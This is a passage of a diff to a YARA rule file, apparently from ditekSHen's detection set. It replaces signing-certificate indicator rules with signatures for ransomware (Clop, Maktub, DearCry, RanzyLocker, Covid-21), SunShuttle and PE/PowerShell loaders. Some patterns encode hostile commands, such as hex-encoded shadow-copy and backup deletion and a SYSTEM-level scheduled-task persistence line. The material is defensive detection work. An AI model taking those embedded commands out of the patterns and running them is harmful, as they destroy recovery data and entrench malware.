+		uint16(0)==0x5a4d and (5 of ($s*) or 1 of ($n*) and 4 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_063A7D09107Eddd8Aa1F733634C6591B : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent07 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects delf downloader agent"
 		author = "ditekSHen"
-		id = "489daa61-8409-500d-bc46-a42a444fcdc0"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a45afe84-15ae-528a-ad7e-ab9f03045789"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2822-L2833"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4849-L4867"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8b6c1935d51207e6b9919c85d369dcc6963f52ee4d21758d18e2c57115e9051b"
+		logic_hash = "1e0001d18524d0d34ad876e67e2c4dc0495ee18a73c34f53f97367876e27b406"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a03f9b3f3eb30ac511463b24f2e59e89ee4c6d4a"
-		importance = 20
+
+	strings:
+		$s1 = "C:\\Users\\Public\\Libraries\\temp" fullword ascii
+		$s2 = "SOFTWARE\\Borland\\Delphi" ascii
+		$s3 = "Mozilla/5.0(compatible; WinInet)" fullword ascii
+		$o1 = { f3 a5 e9 6b ff ff ff 5a 5d 5f 5e 5b c3 a3 00 40 }
+		$o2 = { e8 83 d5 ff ff 8b 15 34 40 41 00 89 10 89 58 04 }
+		$o3 = { c3 8b c0 53 51 e8 f1 ff ff ff 8b d8 85 db 74 3e }
+		$o4 = { e8 5c e2 ff ff 8b c3 e8 b9 ff ff ff 89 04 24 83 }
+		$o5 = { 85 c0 74 1f e8 62 ff ff ff a3 98 40 41 00 e8 98 }
+		$o6 = { 85 c0 74 19 e8 be ff ff ff 83 3d 98 40 41 00 ff }
+		$x1 = "22:40:08        \"> <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"> <rdf:Description rdf:about=\"\"" ascii
+		$x2 = "uuid:A9BD8E384B2FDE118D26E6EE744C235C\" stRef:documentID=\"uuid:A8BD8E384B2FDE118D26E6EE744C235C\"/>" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Smart Line Logistics" and pe.signatures[i].serial=="06:3a:7d:09:10:7e:dd:d8:aa:1f:73:36:34:c6:59:1b")
+		uint16(0)==0x5a4d and ((2 of ($s*) and 5 of ($o*)) or ( all of ($s*) and 2 of ($o*)) or ( all of ($x*) and 2 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4C687A0022C36F89E253F91D1F6954E2 : FILE
+rule DITEKSHEN_MALWARE_Win_Clop : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Clop ransomware variants"
 		author = "ditekSHen"
-		id = "d4b03832-60f2-5342-8186-3e6c3d7eeb63"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d3c9e950-8b03-5d19-8448-9cf208813df2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2835-L2846"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4869-L4889"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0bcbe8c85f02735378b5be95c098ca5088f451e390ec6ce76fb732f0db297c1f"
+		logic_hash = "a1a21100c468c4db147f97b0724b7a3aefbb92b157071bfe6f61d02768573b44"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4412007ae212d12cea36ed56985bd762bd9fb54a"
-		importance = 20
+
+	strings:
+		$x1 = "Cllp^_-" ascii
+		$s2 = "temp.dat" fullword wide
+		$s3 = "README_README.txt" wide
+		$s4 = "BEGIN PUBLIC KEY" ascii
+		$s5 = "runrun" wide
+		$s6 = "wevtutil.exe" ascii
+		$s7 = "%s%s.Cllp" fullword wide
+		$s8 = "WinCheckDRVs" fullword wide
+		$o1 = { 6a ff 56 89 9d 28 dd ff ff ff d0 a1 64 32 41 00 }
+		$o2 = { 56 89 9d 28 dd ff ff ff 15 78 32 41 00 eb 07 43 }
+		$o3 = { 68 ?? 34 41 00 8d 85 58 dd ff ff 50 ff d7 85 c0 }
+		$o4 = { 68 d0 34 41 00 50 ff d6 8b bd 28 d5 ff ff 83 c4 }
+		$o5 = { a1 64 32 41 00 43 56 89 9d 08 d5 ff ff ff d0 8b }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HETCO ApS" and pe.signatures[i].serial=="4c:68:7a:00:22:c3:6f:89:e2:53:f9:1d:1f:69:54:e2")
+		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($x*) and (3 of ($s*) or 4 of ($o*))) or ( all of ($o*) and 2 of ($s*)) or (4 of ($s*) and 4 of ($o*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3Cee26C125B8C188F316C3Fa78D9C2F1 : FILE
+rule DITEKSHEN_MALWARE_Win_Maktub : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Maktub ransomware"
 		author = "ditekSHen"
-		id = "d9271a74-1a04-5863-afc6-4b1d2982f680"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "be47d858-8497-593f-865b-c3d3a5db6c2e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2848-L2859"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4891-L4905"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "673a275a6d899b5de66d80cb55fa6438c2e14c70a96ba8461eb4946e1f4b4dfa"
+		logic_hash = "5c11d04fc3088eb8a0132b9ed83748ddb7e1bbe9d03b9e884d4003181cbb6d69"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9efcf68a289d9186ec17e334205cb644c2b6a147"
-		importance = 20
+
+	strings:
+		$s1 = "Content-Disposition: attachment; filename=" ascii
+		$s2 = "Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0" fullword ascii
+		$s3 = "/tor/status-vote/current/consensus" ascii
+		$s4 = "/tor/server/fp/" ascii
+		$s5 = "/tor/rendezvous2/" ascii
+		$s6 = "404 Not found" fullword ascii
+		$s7 = /_request@\d+/ fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bitubit LLC" and pe.signatures[i].serial=="3c:ee:26:c1:25:b8:c1:88:f3:16:c3:fa:78:d9:c2:f1")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_A0A27Aefd067Ac62Ce0247B72Bf33De3 : FILE
+rule DITEKSHEN_MALWARE_Win_Pwshloader_Runpe01
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PowerShell PE loader / executer. Observed Gorgon TTPs"
 		author = "ditekSHen"
-		id = "1e8db3c4-8d32-5a8d-96ac-785d8f703c7d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "fd44f48c-7a24-512b-8375-c9f978a8b5bd"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2861-L2872"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4907-L4920"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c49e1d8b1a2d0e27fd25574ce587f60770ecac75c1db437bf7538d2ff47c8d4c"
+		logic_hash = "7dd377f6a1cc48ef8ab9d53989755fb967c89d3798b721781bc09043ba3d86f4"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "42c2842fa674fdca14c9786aaec0c3078a4f1755"
-		importance = 20
+		tags = ""
+
+	strings:
+		$rp1 = "GetType('RunPe.RunPe'" ascii
+		$rp2 = "GetType(\"RunPe.RunPe\"" ascii
+		$rm1 = "GetMethod('Run'" ascii
+		$rm2 = "GetMethod(\"Run\"" ascii
+		$s1 = ".Invoke(" ascii
+		$s2 = "[Reflection.Assembly]::Load(" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cfbcdabfdbdccaaccadfeaacacf" and pe.signatures[i].serial=="a0:a2:7a:ef:d0:67:ac:62:ce:02:47:b7:2b:f3:3d:e3")
+		all of ($s*) and 1 of ($rp*) and 1 of ($rm*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Eee8Cf0A0E4C78Faa03D07470161A90E : FILE
+rule DITEKSHEN_MALWARE_Win_Pwshloader_Runpe02
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PowerShell PE loader / executer. Observed Gorgon TTPs"
 		author = "ditekSHen"
-		id = "a91c84db-99b4-5e24-ba8a-4e009219eb05"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "08261054-bebc-58fe-949a-27f6e817003a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2874-L2885"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4922-L4934"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5c14eeeab8cf9797499d23f451a695b443ecc8d3ebbc2edb830ae450e444178c"
+		logic_hash = "d7677689938d3e3eb6b59b99b7e347c60214f6edf8e5f83bf85da5a5f1ad33bb"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "32eda5261359e76a4e66da1ba82db7b7a48295d2"
-		importance = 20
+		tags = ""
+
+	strings:
+		$s1 = "'.Replace('" ascii nocase
+		$s2 = "'aspnet_compiler.exe'" ascii
+		$s3 = "[Byte[]]$" ascii
+		$pe1 = "(77,90," ascii
+		$pe2 = "='4D5A" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Aafabffdbdbcbfcaebdf" and pe.signatures[i].serial=="ee:e8:cf:0a:0e:4c:78:fa:a0:3d:07:47:01:61:a9:0e")
+		all of ($s*) and (#pe1>1 or #pe2>1) and #s1>4
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_79E1Cc0F6722E1A2C4647C21023Ca4Ee : FILE
+rule DITEKSHEN_MALWARE_Win_Peloader_Runpe : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PE loader / injector. Observed Gorgon TTPs"
 		author = "ditekSHen"
-		id = "0abbd882-0224-5c94-98b2-870853344883"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "262dedee-05d2-5783-b0ff-24470d310ab8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2887-L2898"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4936-L4950"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9d0c02ae3eab7f7c28dba04cd08fdddef2be64a1622d7fb519a4bf3a40ef19b1"
+		logic_hash = "0369c3e2f83a0265c81e5dcd10b4d88753bd6ce3da4bb893a364486712a2b80d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "41d2f4f810a6edf42b3717cf01d4975476f63cba"
-		importance = 20
+
+	strings:
+		$s1 = "commandLine'" fullword ascii
+		$s2 = "RunPe.dll" fullword ascii
+		$s3 = "HandleRun" fullword ascii
+		$s4 = "inheritHandles" fullword ascii
+		$s5 = "BlockCopy" fullword ascii
+		$s6 = "WriteProcessMemory" fullword ascii
+		$s7 = "startupInfo" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SPAGETTI LTD" and pe.signatures[i].serial=="79:e1:cc:0f:67:22:e1:a2:c4:64:7c:21:02:3c:a4:ee")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6D688Ecf46286Fe4B6823B91384Eca86 : FILE
+rule DITEKSHEN_MALWARE_Win_Peloader_INF : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PE loader / injector. Potentical HCrypt. Observed Gorgon TTPs"
 		author = "ditekSHen"
-		id = "4718996b-cb42-5b83-8fdf-d87751302a00"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "09823302-34e0-5283-9740-1475ab8077be"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2900-L2911"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4952-L4963"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "33296b5b9156af6d95bec9981a9fab3137bcd17bfb26ea2d212ae004275bf42e"
+		logic_hash = "758f7b465b8f9dab5c1194bee266392efe143ac219a5307e6886845b3c862700"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "970205140b48d684d0dc737c0fe127460ccfac4f"
-		importance = 20
+
+	strings:
+		$x1 = "Managament.inf" fullword ascii
+		$x2 = "rOnAlDo" fullword ascii
+		$x3 = "untimeResourceSet" fullword ascii
+		$x4 = "3System.Resources.Tools.StronglyTypedResourceBuilder" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AtomPark Software JSC" and pe.signatures[i].serial=="6d:68:8e:cf:46:28:6f:e4:b6:82:3b:91:38:4e:ca:86")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_9Aa99F1B75A463460D38C4539Fae4F73 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent08 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects known downloader agent downloading encoded binaries in patches"
 		author = "ditekSHen"
-		id = "5ffad411-49e2-5691-95e7-1e294a2a101e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e3450f93-7c57-5386-a901-bc5e710657a4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2913-L2924"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4965-L4975"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b73c6ca2c0cd0e09f0add77c3af3c8e16f46cec29b49d4dcab5a569fed8d3d39"
+		logic_hash = "0238c13b00e5778ef216b4e8576c321803da6e269c96c3051b9cc45a3ac6e567"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b2ea9e771631f95a927c29b044284ef4f84a2069"
-		importance = 20
+		snort2_sid = "920122"
+		snort3_sid = "920119"
+
+	strings:
+		$pat = /\/base\/[A-F0-9]{32}\.html/ ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Beaacdfaeeccbbedadcb" and pe.signatures[i].serial=="9a:a9:9f:1b:75:a4:63:46:0d:38:c4:53:9f:ae:4f:73")
+		uint16(0)==0x5a4d and $pat and #pat>1
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_E414655F025399Cca4D7225D89689A04 : FILE
+rule DITEKSHEN_MALWARE_Win_Doejocrypt : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects DoejoCrypt / DearCry ransomware"
 		author = "ditekSHen"
-		id = "2df4eb66-4890-540f-95e1-fb69eeb32df2"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "2c90f8e7-ced4-56da-ab8d-61b5ba63dacd"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2926-L2937"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4977-L4993"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "589ad4939d235138791a98f5d43f6a786ad14345c995ad2e073d3673fb41365a"
+		logic_hash = "f8a3897de9522340799a59e3e755c323b0defaab73a9030b6b69a1a82c05dcd0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "98643cef3dc22d0cc730be710c5a30ae25d226c1"
-		importance = 20
+
+	strings:
+		$s1 = "DEARCRY!" fullword ascii
+		$s2 = ".CRYPT" fullword ascii
+		$s3 = "\\EncryptFile -svcV2\\" ascii
+		$s4 = "please send me the following hash!" ascii
+		$s5 = "dear!!!" fullword ascii
+		$s6 = "/readme.txt" fullword ascii
+		$o1 = { c3 8b 65 e8 c7 45 fc fe ff ff ff 8b b5 f4 e9 ff }
+		$o2 = { 0f 8c 27 ff ff ff 33 db 57 e8 7b 36 00 00 eb 0a }
+		$o3 = { 0f 8c 2a ff ff ff 53 57 e8 b7 42 00 00 8b 4c 24 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE6\\xAF\\x94\\xE5\\x90\\xBE\\xE8\\xBF\\xAA\\xE5\\x90\\xBE\\xE8\\xBF\\xAA\\xE4\\xBC\\x8A\\xE4\\xBC\\x8A\\xE8\\xBF\\xAA\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xE4\\xBC\\x8A\\xE4\\xBC\\x8A\\xE6\\x8F\\x90\\xE4\\xBC\\x8A\\xE6\\xAF\\x94\\xE6\\x8F\\x90\\xE8\\xBF\\xAA\\xE8\\xBF\\xAA\\xE4\\xBC\\x8A\\xE4\\xBC\\x8A\\xE4\\xBC\\x8A\\xE6\\x8F\\x90\\xE7\\xBB\\xB4\\xE6\\xAF\\x94" and pe.signatures[i].serial=="e4:14:65:5f:02:53:99:cc:a4:d7:22:5d:89:68:9a:04")
+		uint16(0)==0x5a4d and 4 of ($s*) or ( all of ($o*) and (2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_64F82Ed8A90F92A940Be2Bb90Fbf6F48 : FILE
+rule DITEKSHEN_MALWARE_Win_Sunshuttle : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SunShuttle / GoldMax"
 		author = "ditekSHen"
-		id = "70469507-30f1-56be-90bb-1055f7df2496"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "1618d0bc-6e72-5f1e-81e7-56611bfd7f8b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2939-L2950"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4995-L5017"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "eacb9d8834bdf618b5aa44bfb37b0b6413f9b4595b6261a948566a63e9855162"
+		logic_hash = "fa8feb069e73aa0a7fcb4daecc1fdf8edeff65e5aeefef161626647fe989e5c0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4d00f5112caf80615852ffe1f4ee72277ed781c3"
-		importance = 20
+
+	strings:
+		$s1 = "main.beaconing" fullword ascii
+		$s2 = "main.clean_file" fullword ascii
+		$s3 = "main.decrypt" fullword ascii
+		$s4 = "main.define_internal_settings" fullword ascii
+		$s5 = "main.delete_empty" fullword ascii
+		$s6 = "main.encrypt" fullword ascii
+		$s7 = "main.false_requesting" fullword ascii
+		$s8 = "main.removeBase64Padding" fullword ascii
+		$s9 = "main.resolve_command" fullword ascii
+		$s10 = "main.retrieve_session_key" fullword ascii
+		$s11 = "main.save_internal_settings" fullword ascii
+		$s12 = "main.send_command_result" fullword ascii
+		$s13 = "main.send_file_part" fullword ascii
+		$s14 = "main.wget_file" fullword ascii
+		$s15 = "main.write_file" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Klimate Vision Plus" and pe.signatures[i].serial=="64:f8:2e:d8:a9:0f:92:a9:40:be:2b:b9:0f:bf:6f:48")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00F0031491B673Ecdf533D4Ebe4B54697F : FILE
+rule DITEKSHEN_MALWARE_Win_Ranzylocker : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects RanzyLocker / REntS ransomware"
 		author = "ditekSHen"
-		id = "ad027dc9-14bc-50dd-b260-7672c528ef9a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0d74f6fd-e1d2-5939-991e-7fdd2ca3310b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2952-L2963"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5019-L5042"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4697ce0a7fcd1fa6ac1dd5246f2a23b85865bef4010280c4ca2e12c433b8ceb2"
+		logic_hash = "15897144843acf49b81c5428fd1bb56d7a2acf16047a6e5d3ca4f2aaa8891577"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "01e201cce1024237978baccf5b124261aa5edb01"
-		importance = 20
+
+	strings:
+		$hr1 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii
+		$hr2 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii
+		$hr3 = "626364656469742E657865202F736574207B64656661756C747D207265636F76657279656E61626C6564204E6F" ascii
+		$hr4 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii
+		$hr5 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573" ascii
+		$hr6 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii
+		$hx1 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838" ascii
+		$hx2 = "534F4654574152455C4D6963726F736F66745C45524944" ascii
+		$hx3 = "227375626964223A22" ascii
+		$hx4 = "226E6574776F726B223A22" ascii
+		$hx5 = "726561646D652E747874" ascii
+		$hx6 = "-nolan" fullword wide
+		$o1 = { 8d 45 e9 89 9d 54 ff ff ff 88 9d 44 ff ff ff 3b }
+		$o2 = { 8b 44 24 2? 8b ?c 24 34 40 8b 54 24 38 89 44 24 }
+		$o3 = { 8b 44 24 2? 8b ?c 24 1c 89 44 24 34 8b 44 24 28 }
+		$o4 = { 8b 44 24 2? 8b ?c 24 34 05 00 00 a0 00 89 44 24 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eebbffbceacddbfaeefaecdbaf" and pe.signatures[i].serial=="00:f0:03:14:91:b6:73:ec:df:53:3d:4e:be:4b:54:69:7f")
+		uint16(0)==0x5a4d and ( all of ($hx*) or (2 of ($hr*) and 2 of ($hx*)) or ( all of ($o*) and 2 of ($h*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Becd4Ef55Ced54E5Bcde595D872Ae7Eb : FILE
+rule DITEKSHEN_MALWARE_Win_Wobbychipmbr : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects WobbyChipMBR / Covid-21 ransomware"
 		author = "ditekSHen"
-		id = "85835042-a4ab-5cb2-963d-4ef776b740d1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "581fbce1-128d-5323-a259-14d9bfdf09b1"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2965-L2976"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5044-L5060"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b573853cfb28bdbda37c929834faa15475707684edfe99f14174599faf7b4fb6"
+		logic_hash = "168c7f610625131c9552252d2b824a90918d2961996ee0f783497dff5cf17351"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "72ae9b9a32b4c16b5a94e2b4587bc51a91b27052"
-		importance = 20
+
+	strings:
+		$x1 = "You became a Victim of the Covid-21 Ransomware" ascii wide
+		$x2 = "Reinstalling Windows has been blocked" ascii wide
+		$x3 = "Enter Decryption Key:" ascii wide
+		$x4 = "encrypted with military grade encryption" ascii wide
+		$s1 = "schtasks.exe /Create /TN wininit /ru SYSTEM /SC ONSTART /TR" ascii
+		$s2 = "\\EFI\\Boot\\bootx64.efi" ascii wide
+		$s3 = "DumpHex" fullword ascii
+		$s4 = "TFTP Error" fullword wide
+		$s5 = "HD(Part%d,MBRType=%02x,SigType=%02x)" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dedbfdefcac" and pe.signatures[i].serial=="be:cd:4e:f5:5c:ed:54:e5:bc:de:59:5d:87:2a:e7:eb")
+		uint16(0)==0x5a4d and (3 of ($x*) or all of ($s*) or (1 of ($x*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_55B5E1Cf84A89C4E023399784B42A268 : FILE
+rule DITEKSHEN_MALWARE_Win_Snatch : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Snatch / GoRansome / MauriGo ransomware"
 		author = "ditekSHen"
-		id = "de2890d4-3758-5e90-a9af-dc519f0b9e4c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "00dce673-b909-571f-8117-c5d4ce73fb31"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2978-L2989"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5062-L5091"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "37f08db5373cf46da7c0a4a03af21559fdcddb2481f935d5cece55a1fb4abc3c"
+		logic_hash = "bf8c33a7203458c80a43944c3117bb897b1702f0024271904d9be682cbd695fc"
 		score = 75
-		quality = 75
+		quality = 73
